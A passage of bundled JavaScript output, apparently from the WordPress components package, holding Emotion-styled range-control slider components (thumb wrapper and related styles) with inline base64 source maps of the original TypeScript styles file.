zogbm9uZTtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHR3aWR0aDogMTAwJTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdG1hcmdpbi10b3A6IDE3cHg7XG5gO1xuXG5leHBvcnQgY29uc3QgTWFyayA9IHN0eWxlZC5zcGFuYFxuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdGxlZnQ6IDA7XG5cdHRvcDogLTRweDtcblx0aGVpZ2h0OiA0cHg7XG5cdHdpZHRoOiAycHg7XG5cdHRyYW5zZm9ybTogdHJhbnNsYXRlWCggLTUwJSApO1xuXHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudWkuYmFja2dyb3VuZCB9O1xuXHR6LWluZGV4OiAxO1xuYDtcblxuY29uc3QgbWFya0xhYmVsRmlsbCA9ICggeyBpc0ZpbGxlZCB9OiBSYW5nZU1hcmtQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzcygge1xuXHRcdGNvbG9yOiBpc0ZpbGxlZCA/IENPTE9SUy50aGVtZS5ncmF5WyA3MDAgXSA6IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSxcblx0fSApO1xufTtcblxuZXhwb3J0IGNvbnN0IE1hcmtMYWJlbCA9IHN0eWxlZC5zcGFuYFxuXHRjb2xvcjogJHsgQ09MT1JTLnRoZW1lLmdyYXlbIDMwMCBdIH07XG5cdGZvbnQtc2l6ZTogMTFweDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDhweDtcblx0d2hpdGUtc3BhY2U6IG5vd3JhcDtcblxuXHQkeyBydGwoIHsgbGVmdDogMCB9ICkgfTtcblx0JHsgcnRsKFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggLTUwJSApJyB9LFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggNTAlICknIH1cblx0KSB9O1xuXG5cdCR7IG1hcmtMYWJlbEZpbGwgfTtcbmA7XG5cbmNvbnN0IHRodW1iQ29sb3IgPSAoIHsgZGlzYWJsZWQgfTogVGh1bWJQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZFxuXHRcdFx0PyBDT0xPUlMudGhlbWUuZ3JheVsgNDAwIF1cblx0XHRcdDogQ09MT1JTLnRoZW1lLmFjY2VudCB9O1xuXG5cdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWQgPyAnR3JheVRleHQnIDogJ0NhbnZhc1RleHQnIH07XG5cdFx0fVxuXHRgO1xufTtcblxuZXhwb3J0IGNvbnN0IFRodW1iV3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRkaXNwbGF5OiBmbGV4O1xuXHRoZWlnaHQ6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRtYXJnaW4tdG9wOiAkeyAoIHJhbmdlSGVpZ2h0VmFsdWUgLSB0aHVtYlNpemUgKSAvIDIgfXB4O1xuXHRvdXRsaW5lOiAwO1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR0b3A6IDA7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHR3aWR0aDogJHsgdGh1bWJTaXplIH1weDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdHotaW5kZXg6IDM7XG5cblx0LmlzLW1hcmtlZCAmIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246IGxlZnQgZWFzZSAwLjFzO1xuXHRcdH1cblx0fVxuXG5cdCR7IHRodW1iQ29sb3IgfTtcblx0JHsgcnRsKCB7IG1hcmdpbkxlZnQ6IC0xMCB9ICkgfTtcblx0JHsgcnRsKFxuXHRcdHsgdHJhbnNmb3JtOiAndHJhbnNsYXRlWCggNC41cHggKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC00LjVweCApJyB9XG5cdCkgfTtcbmA7XG5cbmNvbnN0IHRodW1iRm9jdXMgPSAoIHsgaXNGb2N1c2VkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBpc0ZvY3VzZWRcblx0XHQ/IGNzc2Bcblx0XHRcdFx0Jjo6YmVmb3JlIHtcblx0XHRcdFx0XHRjb250ZW50OiAnICc7XG5cdFx0XHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0XHRcdGJhY2tncm91bmQtY29sb3I6ICR7IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblx0XHRcdFx0XHRvcGFjaXR5OiAwLjQ7XG5cdFx0XHRcdFx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdFx0XHRcdFx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgKyA4IH1weDtcblx0XHRcdFx0XHR3aWR0aDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0dG9wOiAtNHB4O1xuXHRcdFx0XHRcdGxlZnQ6IC00cHg7XG5cblx0XHRcdFx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRcdFx0XHRiYWNrZ3JvdW5kOiBHcmF5VGV4dDtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHQgIGBcblx0XHQ6ICcnO1xufTtcblxuZXhwb3J0IGNvbnN0IFRodW1iID0gc3R5bGVkLnNwYW48IFRodW1iUHJvcHMgPmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1JvdW5kIH07XG5cdGhlaWdodDogMTAwJTtcblx0b3V0bGluZTogMDtcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdGJveC1zaGFkb3c6ICR7IENPTkZJRy5lbGV2YXRpb25YU21hbGwgfTtcblxuXHQkeyB0aHVtYkNvbG9yIH07XG5cdCR7IHRodW1iRm9jdXMgfTtcbmA7XG5cbmV4cG9ydCBjb25zdCBJbnB1dFJhbmdlID0gc3R5bGVkLmlucHV0YFxuXHRib3gtc2l6aW5nOiBib3JkZXItYm94O1xuXHRjdXJzb3I6IHBvaW50ZXI7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRoZWlnaHQ6IDEwMCU7XG5cdGxlZnQ6IDA7XG5cdG1hcmdpbjogMCAtJHsgdGh1bWJTaXplIC8gMiB9cHg7XG5cdG9wYWNpdHk6IDA7XG5cdG91dGxpbmU6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0cmlnaHQ6IDA7XG5cdHRvcDogMDtcblx0d2lkdGg6IGNhbGMoIDEwMCUgKyAkeyB0aHVtYlNpemUgfXB4ICk7XG5gO1xuXG5jb25zdCB0b29sdGlwU2hvdyA9ICggeyBzaG93IH06IFRvb2x0aXBQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRkaXNwbGF5OiAkeyBzaG93ID8gJ2lubGluZS1ibG9jaycgOiAnbm9uZScgfTtcblx0XHRvcGFjaXR5OiAkeyBzaG93ID8gMSA6IDAgfTtcblxuXHRcdEBtZWRpYSBub3QgKCBwcmVmZXJzLXJlZHVjZWQtbW90aW9uICkge1xuXHRcdFx0dHJhbnNpdGlvbjpcblx0XHRcdFx0b3BhY2l0eSAxMjBtcyBlYXNlLFxuXHRcdFx0XHRkaXNwbGF5IDEyMG1zIGVhc2UgYWxsb3ctZGlzY3JldGU7XG5cdFx0fVxuXG5cdFx0QHN0YXJ0aW5nLXN0eWxlIHtcblx0XHRcdG9wYWNpdHk6IDA7XG5cdFx0fVxuXHRgO1xufTtcblxuY29uc3QgdG9vbHRpcFBsYWNlbWVudCA9ICggeyBwbGFjZW1lbnQgfTogVG9vbHRpcFByb3BzICkgPT4ge1xuXHRjb25zdCBpc0JvdHRvbSA9IHBsYWNlbWVudCA9PT0gJ2JvdHRvbSc7XG5cblx0aWYgKCBpc0JvdHRvbSApIHtcblx0XHRyZXR1cm4gY3NzYFxuXHRcdFx0Ym90dG9tOiAtODAlO1xuXHRcdGA7XG5cdH1cblxuXHRyZXR1cm4gY3NzYFxuXHRcdHRvcDogLTgwJTtcblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUb29sdGlwID0gc3R5bGVkLnNwYW48IFRvb2x0aXBQcm9wcyA+YFxuXHRiYWNrZ3JvdW5kOiByZ2JhKCAwLCAwLCAwLCAwLjggKTtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c1NtYWxsIH07XG5cdGNvbG9yOiB3aGl0ZTtcblx0Zm9udC1zaXplOiAxMnB4O1xuXHRtaW4td2lkdGg6IDMycHg7XG5cdHBhZGRpbmc6IDRweCA4cHg7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHRleHQtYWxpZ246IGNlbnRlcjtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdGxpbmUtaGVpZ2h0OiAxLjQ7XG5cblx0JHsgdG9vbHRpcFNob3cgfTtcblxuXHQkeyB0b29sdGlwUGxhY2VtZW50IH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoLTUwJSknIH0sXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKDUwJSknIH1cblx0KSB9XG5gO1xuXG4vLyBAdG9kbyBSZWZhY3RvciBSYW5nZUNvbnRyb2wgd2l0aCBsYXRlc3QgSFN0YWNrIGNvbmZpZ3VyYXRpb25cbi8vIEBzZWU6IHBhY2thZ2VzL2NvbXBvbmVudHMvc3JjL2gtc3RhY2tcbmV4cG9ydCBjb25zdCBJbnB1dE51bWJlciA9IHN0eWxlZCggTnVtYmVyQ29udHJvbCApYFxuXHRkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG5cdGZvbnQtc2l6ZTogMTNweDtcblx0bWFyZ2luLXRvcDogMDtcblxuXHRpbnB1dFt0eXBlPSdudW1iZXInXSYge1xuXHRcdCR7IHJhbmdlSGVpZ2h0IH07XG5cdH1cblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogYCR7IHNwYWNlKCA0ICkgfSAhaW1wb3J0YW50YCB9ICkgfVxuYDtcblxuZXhwb3J0IGNvbnN0IEFjdGlvblJpZ2h0V3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBibG9jaztcblx0bWFyZ2luLXRvcDogMDtcblxuXHRidXR0b24sXG5cdGJ1dHRvbi5pcy1zbWFsbCB7XG5cdFx0bWFyZ2luLWxlZnQ6IDA7XG5cdFx0JHsgcmFuZ2VIZWlnaHQgfTtcblx0fVxuXG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiA4IH0gKSB9XG5gO1xuIl19 */");
30759 };
30760 var ThumbWrapper = /* @__PURE__ */ createStyled("span", false ? {
30761 target: "e1epgpqk5"
30762 } : {
30763 target: "e1epgpqk5",
30764 label: "ThumbWrapper"
30765 })("align-items:center;display:flex;height:", thumbSize, "px;justify-content:center;margin-top:", (rangeHeightValue - thumbSize) / 2, "px;outline:0;pointer-events:none;position:absolute;top:0;user-select:none;width:", thumbSize, "px;border-radius:", config_values_default.radiusRound, ";z-index:3;.is-marked &{@media not ( prefers-reduced-motion ){transition:left ease 0.1s;}}", thumbColor, ";", rtl({
30766 marginLeft: -10
30767 }), ";", rtl({
30768 transform: "translateX( 4.5px )"
30769 }, {
30770 transform: "translateX( -4.5px )"
30771 }), ";" + (false ? "" : "/*# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbInJhbmdlLWNvbnRyb2wtc3R5bGVzLnRzIl0sIm5hbWVzIjpbXSwibWFwcGluZ3MiOiJBQTZMdUMiLCJmaWxlIjoicmFuZ2UtY29udHJvbC1zdHlsZXMudHMiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIEV4dGVybmFsIGRlcGVuZGVuY2llc1xuICovXG5pbXBvcnQgeyBjc3MgfSBmcm9tICdAZW1vdGlvbi9yZWFjdCc7XG5pbXBvcnQgc3R5bGVkIGZyb20gJ0BlbW90aW9uL3N0eWxlZCc7XG5cbi8qKlxuICogSW50ZXJuYWwgZGVwZW5kZW5jaWVzXG4gKi9cbmltcG9ydCBOdW1iZXJDb250cm9sIGZyb20gJy4uLy4uL251bWJlci1jb250cm9sJztcbmltcG9ydCB7IENPTE9SUywgcnRsLCBDT05GSUcgfSBmcm9tICcuLi8uLi91dGlscyc7XG5pbXBvcnQgeyBzcGFjZSB9IGZyb20gJy4uLy4uL3V0aWxzL3NwYWNlJztcblxuaW1wb3J0IHR5cGUge1xuXHRSYW5nZU1hcmtQcm9wcyxcblx0UmFpbFByb3BzLFxuXHRUaHVtYlByb3BzLFxuXHRUb29sdGlwUHJvcHMsXG5cdFRyYWNrUHJvcHMsXG5cdFdyYXBwZXJQcm9wcyxcblx0UmFuZ2VDb250cm9sUHJvcHMsXG59IGZyb20gJy4uL3R5cGVzJztcblxuY29uc3QgcmFuZ2VIZWlnaHRWYWx1ZSA9IDMwO1xuY29uc3QgcmFpbEhlaWdodCA9IDQ7XG5jb25zdCByYW5nZUhlaWdodCA9ICgpID0+XG5cdGNzcyggeyBoZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUsIG1pbkhlaWdodDogcmFuZ2VIZWlnaHRWYWx1ZSB9ICk7XG5jb25zdCB0aHVtYlNpemUgPSAxMjtcblxuY29uc3QgZGVwcmVjYXRlZEhlaWdodCA9ICgge1xuXHRfX25leHQ0MHB4RGVmYXVsdFNpemUsXG59OiBQaWNrPCBSYW5nZUNvbnRyb2xQcm9wcywgJ19fbmV4dDQwcHhEZWZhdWx0U2l6ZScgPiApID0+XG5cdCEgX19uZXh0NDBweERlZmF1bHRTaXplICYmIGNzcyggeyBtaW5IZWlnaHQ6IHJhbmdlSGVpZ2h0VmFsdWUgfSApO1xuXG50eXBlIFJvb3RQcm9wcyA9IFBpY2s8IFJhbmdlQ29udHJvbFByb3BzLCAnX19uZXh0NDBweERlZmF1bHRTaXplJyA+O1xuZXhwb3J0IGNvbnN0IFJvb3QgPSBzdHlsZWQuZGl2PCBSb290UHJvcHMgPmBcblx0LXdlYmtpdC10YXAtaGlnaGxpZ2h0LWNvbG9yOiB0cmFuc3BhcmVudDtcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0anVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xuXHRwYWRkaW5nOiAwO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHRvdWNoLWFjdGlvbjogbm9uZTtcblx0d2lkdGg6IDEwMCU7XG5cdG1pbi1oZWlnaHQ6IDQwcHg7XG5cdC8qIFRPRE86IHJlbW92ZSBhZnRlciByZW1vdmluZyB0aGUgX19uZXh0NDBweERlZmF1bHRTaXplIHByb3AgKi9cblx0JHsgZGVwcmVjYXRlZEhlaWdodCB9O1xuYDtcblxuY29uc3Qgd3JhcHBlckNvbG9yID0gKCB7IGNvbG9yID0gQ09MT1JTLnVpLmJvcmRlckZvY3VzIH06IFdyYXBwZXJQcm9wcyApID0+XG5cdGNzcyggeyBjb2xvciB9ICk7XG5cbmV4cG9ydCBjb25zdCBXcmFwcGVyID0gc3R5bGVkKCAnZGl2Jywge1xuXHRzaG91bGRGb3J3YXJkUHJvcDogKCBwcm9wOiBzdHJpbmcgKSA9PlxuXHRcdCEgWyAnY29sb3InLCAnbWFya3MnIF0uaW5jbHVkZXMoIHByb3AgKSxcbn0gKTwgV3JhcHBlclByb3BzID5gXG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRmbGV4OiAxO1xuXHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdHdpZHRoOiAxMDAlO1xuXG5cdCR7IHdyYXBwZXJDb2xvciB9O1xuXHQkeyByYW5nZUhlaWdodCB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IEJlZm9yZUljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luUmlnaHQ6IDYgfSApIH1cbmA7XG5cbmV4cG9ydCBjb25zdCBBZnRlckljb25XcmFwcGVyID0gc3R5bGVkLnNwYW5gXG5cdGRpc3BsYXk6IGZsZXg7IC8vIGVuc3VyZXMgdGhlIGhlaWdodCBpc24ndCBhZmZlY3RlZCBieSBsaW5lLWhlaWdodFxuXHRtYXJnaW4tdG9wOiAkeyByYWlsSGVpZ2h0IH1weDtcblxuXHQkeyBydGwoIHsgbWFyZ2luTGVmdDogNiB9ICkgfVxuYDtcblxuY29uc3QgcmFpbEJhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgcmFpbENvbG9yIH06IFJhaWxQcm9wcyApID0+IHtcblx0cmV0dXJuIGNzc2Bcblx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZFxuXHRcdFx0PyBDT0xPUlMudWkuYmFja2dyb3VuZERpc2FibGVkXG5cdFx0XHQ6IHJhaWxDb2xvciB8fCBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0gfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6IEdyYXlUZXh0O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBSYWlsID0gc3R5bGVkLnNwYW5gXG5cdGxlZnQ6IDA7XG5cdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRyaWdodDogMDtcblx0ZGlzcGxheTogYmxvY2s7XG5cdGhlaWdodDogJHsgcmFpbEhlaWdodCB9cHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gcmFpbEhlaWdodCApIC8gMiB9cHg7XG5cdHRvcDogMDtcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblxuXHQkeyByYWlsQmFja2dyb3VuZENvbG9yIH07XG5gO1xuXG5jb25zdCB0cmFja0JhY2tncm91bmRDb2xvciA9ICggeyBkaXNhYmxlZCwgdHJhY2tDb2xvciB9OiBUcmFja1Byb3BzICkgPT4ge1xuXHRyZXR1cm4gY3NzYFxuXHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkXG5cdFx0XHQ/IENPTE9SUy50aGVtZS5ncmF5WyA0MDAgXVxuXHRcdFx0OiB0cmFja0NvbG9yIHx8ICdjdXJyZW50Q29sb3InIH07XG5cblx0XHRAbWVkaWEgKCBmb3JjZWQtY29sb3JzOiBhY3RpdmUgKSB7XG5cdFx0XHRiYWNrZ3JvdW5kOiAkeyBkaXNhYmxlZCA/ICdHcmF5VGV4dCcgOiAnQ2FudmFzVGV4dCcgfTtcblx0XHR9XG5cdGA7XG59O1xuXG5leHBvcnQgY29uc3QgVHJhY2sgPSBzdHlsZWQuc3BhbmBcblx0Ym9yZGVyLXJhZGl1czogJHsgQ09ORklHLnJhZGl1c0Z1bGwgfTtcblx0aGVpZ2h0OiAkeyByYWlsSGVpZ2h0IH1weDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdGRpc3BsYXk6IGJsb2NrO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdG1hcmdpbi10b3A6ICR7ICggcmFuZ2VIZWlnaHRWYWx1ZSAtIHJhaWxIZWlnaHQgKSAvIDIgfXB4O1xuXHR0b3A6IDA7XG5cblx0LmlzLW1hcmtlZCAmIHtcblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246IHdpZHRoIGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0cmFja0JhY2tncm91bmRDb2xvciB9O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmtzV3JhcHBlciA9IHN0eWxlZC5zcGFuYFxuXHRkaXNwbGF5OiBibG9jaztcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiByZWxhdGl2ZTtcblx0d2lkdGg6IDEwMCU7XG5cdHVzZXItc2VsZWN0OiBub25lO1xuXHRtYXJnaW4tdG9wOiAxN3B4O1xuYDtcblxuZXhwb3J0IGNvbnN0IE1hcmsgPSBzdHlsZWQuc3BhbmBcblx0cG9zaXRpb246IGFic29sdXRlO1xuXHRsZWZ0OiAwO1xuXHR0b3A6IC00cHg7XG5cdGhlaWdodDogNHB4O1xuXHR3aWR0aDogMnB4O1xuXHR0cmFuc2Zvcm06IHRyYW5zbGF0ZVgoIC01MCUgKTtcblx0YmFja2dyb3VuZC1jb2xvcjogJHsgQ09MT1JTLnVpLmJhY2tncm91bmQgfTtcblx0ei1pbmRleDogMTtcbmA7XG5cbmNvbnN0IG1hcmtMYWJlbEZpbGwgPSAoIHsgaXNGaWxsZWQgfTogUmFuZ2VNYXJrUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3MoIHtcblx0XHRjb2xvcjogaXNGaWxsZWQgPyBDT0xPUlMudGhlbWUuZ3JheVsgNzAwIF0gOiBDT0xPUlMudGhlbWUuZ3JheVsgMzAwIF0sXG5cdH0gKTtcbn07XG5cbmV4cG9ydCBjb25zdCBNYXJrTGFiZWwgPSBzdHlsZWQuc3BhbmBcblx0Y29sb3I6ICR7IENPTE9SUy50aGVtZS5ncmF5WyAzMDAgXSB9O1xuXHRmb250LXNpemU6IDExcHg7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiA4cHg7XG5cdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cblx0JHsgcnRsKCB7IGxlZnQ6IDAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIC01MCUgKScgfSxcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDUwJSApJyB9XG5cdCkgfTtcblxuXHQkeyBtYXJrTGFiZWxGaWxsIH07XG5gO1xuXG5jb25zdCB0aHVtYkNvbG9yID0gKCB7IGRpc2FibGVkIH06IFRodW1iUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0YmFja2dyb3VuZDogJHsgZGlzYWJsZWRcblx0XHRcdD8gQ09MT1JTLnRoZW1lLmdyYXlbIDQwMCBdXG5cdFx0XHQ6IENPTE9SUy50aGVtZS5hY2NlbnQgfTtcblxuXHRcdEBtZWRpYSAoIGZvcmNlZC1jb2xvcnM6IGFjdGl2ZSApIHtcblx0XHRcdGJhY2tncm91bmQ6ICR7IGRpc2FibGVkID8gJ0dyYXlUZXh0JyA6ICdDYW52YXNUZXh0JyB9O1xuXHRcdH1cblx0YDtcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYldyYXBwZXIgPSBzdHlsZWQuc3BhbmBcblx0YWxpZ24taXRlbXM6IGNlbnRlcjtcblx0ZGlzcGxheTogZmxleDtcblx0aGVpZ2h0OiAkeyB0aHVtYlNpemUgfXB4O1xuXHRqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcblx0bWFyZ2luLXRvcDogJHsgKCByYW5nZUhlaWdodFZhbHVlIC0gdGh1bWJTaXplICkgLyAyIH1weDtcblx0b3V0bGluZTogMDtcblx0cG9pbnRlci1ldmVudHM6IG5vbmU7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dG9wOiAwO1xuXHR1c2VyLXNlbGVjdDogbm9uZTtcblx0d2lkdGg6ICR7IHRodW1iU2l6ZSB9cHg7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHR6LWluZGV4OiAzO1xuXG5cdC5pcy1tYXJrZWQgJiB7XG5cdFx0QG1lZGlhIG5vdCAoIHByZWZlcnMtcmVkdWNlZC1tb3Rpb24gKSB7XG5cdFx0XHR0cmFuc2l0aW9uOiBsZWZ0IGVhc2UgMC4xcztcblx0XHR9XG5cdH1cblxuXHQkeyB0aHVtYkNvbG9yIH07XG5cdCR7IHJ0bCggeyBtYXJnaW5MZWZ0OiAtMTAgfSApIH07XG5cdCR7IHJ0bChcblx0XHR7IHRyYW5zZm9ybTogJ3RyYW5zbGF0ZVgoIDQuNXB4ICknIH0sXG5cdFx0eyB0cmFuc2Zvcm06ICd0cmFuc2xhdGVYKCAtNC41cHggKScgfVxuXHQpIH07XG5gO1xuXG5jb25zdCB0aHVtYkZvY3VzID0gKCB7IGlzRm9jdXNlZCB9OiBUaHVtYlByb3BzICkgPT4ge1xuXHRyZXR1cm4gaXNGb2N1c2VkXG5cdFx0PyBjc3NgXG5cdFx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdFx0Y29udGVudDogJyAnO1xuXHRcdFx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAkeyBDT0xPUlMudGhlbWUuYWNjZW50IH07XG5cdFx0XHRcdFx0b3BhY2l0eTogMC40O1xuXHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRcdFx0XHRcdGhlaWdodDogJHsgdGh1bWJTaXplICsgOCB9cHg7XG5cdFx0XHRcdFx0d2lkdGg6ICR7IHRodW1iU2l6ZSArIDggfXB4O1xuXHRcdFx0XHRcdHRvcDogLTRweDtcblx0XHRcdFx0XHRsZWZ0OiAtNHB4O1xuXG5cdFx0XHRcdFx0QG1lZGlhICggZm9yY2VkLWNvbG9yczogYWN0aXZlICkge1xuXHRcdFx0XHRcdFx0YmFja2dyb3VuZDogR3JheVRleHQ7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0ICBgXG5cdFx0OiAnJztcbn07XG5cbmV4cG9ydCBjb25zdCBUaHVtYiA9IHN0eWxlZC5zcGFuPCBUaHVtYlByb3BzID5gXG5cdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdGJvcmRlci1yYWRpdXM6ICR7IENPTkZJRy5yYWRpdXNSb3VuZCB9O1xuXHRoZWlnaHQ6IDEwMCU7XG5cdG91dGxpbmU6IDA7XG5cdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdHdpZHRoOiAxMDAlO1xuXHRib3gtc2hhZG93OiAkeyBDT05GSUcuZWxldmF0aW9uWFNtYWxsIH07XG5cblx0JHsgdGh1bWJDb2xvciB9O1xuXHQkeyB0aHVtYkZvY3VzIH07XG5gO1xuXG5leHBvcnQgY29uc3QgSW5wdXRSYW5nZSA9IHN0eWxlZC5pbnB1dGBcblx0Ym94LXNpemluZzogYm9yZGVyLWJveDtcblx0Y3Vyc29yOiBwb2ludGVyO1xuXHRkaXNwbGF5OiBibG9jaztcblx0aGVpZ2h0OiAxMDAlO1xuXHRsZWZ0OiAwO1xuXHRtYXJnaW46IDAgLSR7IHRodW1iU2l6ZSAvIDIgfXB4O1xuXHRvcGFjaXR5OiAwO1xuXHRvdXRsaW5lOiBub25lO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHJpZ2h0OiAwO1xuXHR0b3A6IDA7XG5cdHdpZHRoOiBjYWxjKCAxMDAlICsgJHsgdGh1bWJTaXplIH1weCApO1xuYDtcblxuY29uc3QgdG9vbHRpcFNob3cgPSAoIHsgc2hvdyB9OiBUb29sdGlwUHJvcHMgKSA9PiB7XG5cdHJldHVybiBjc3NgXG5cdFx0ZGlzcGxheTogJHsgc2hvdyA/ICdpbmxpbmUtYmxvY2snIDogJ25vbmUnIH07XG5cdFx0b3BhY2l0eTogJHsgc2hvdyA/IDEgOiAwIH07XG5cblx0XHRAbWVkaWEgbm90ICggcHJlZmVycy1yZWR1Y2VkLW1vdGlvbiApIHtcblx0XHRcdHRyYW5zaXRpb246XG5cdFx0XHRcdG9wYWNpdHkgMTIwbXMgZWFzZSxcblx0XHRcdFx0ZGlzcGxheSAxMjBtcyBlYXNlIGFsbG93LWRpc2NyZXRlO1xuXHRcdH1cblxuXHRcdEBzdGFydGluZy1zdHlsZSB7XG5cdFx0XHRvcGFjaXR5OiAwO1xuXHRcdH1cblx0YDtcbn07XG5cbmNvbnN0IHRvb2x0aXBQbGFjZW1lbnQgPSAoIHsgcGxhY2VtZW50IH06IFRvb2x0aXBQcm9wcyApID0+IHtcblx0Y29uc3QgaXNCb3R0b20gPSBwbGFjZW1lbnQgPT09ICdib3R0b20nO1xuXG5cdGlmICggaXNCb3R0b20gKSB7XG5cdFx0cmV0dXJuIGNzc2Bc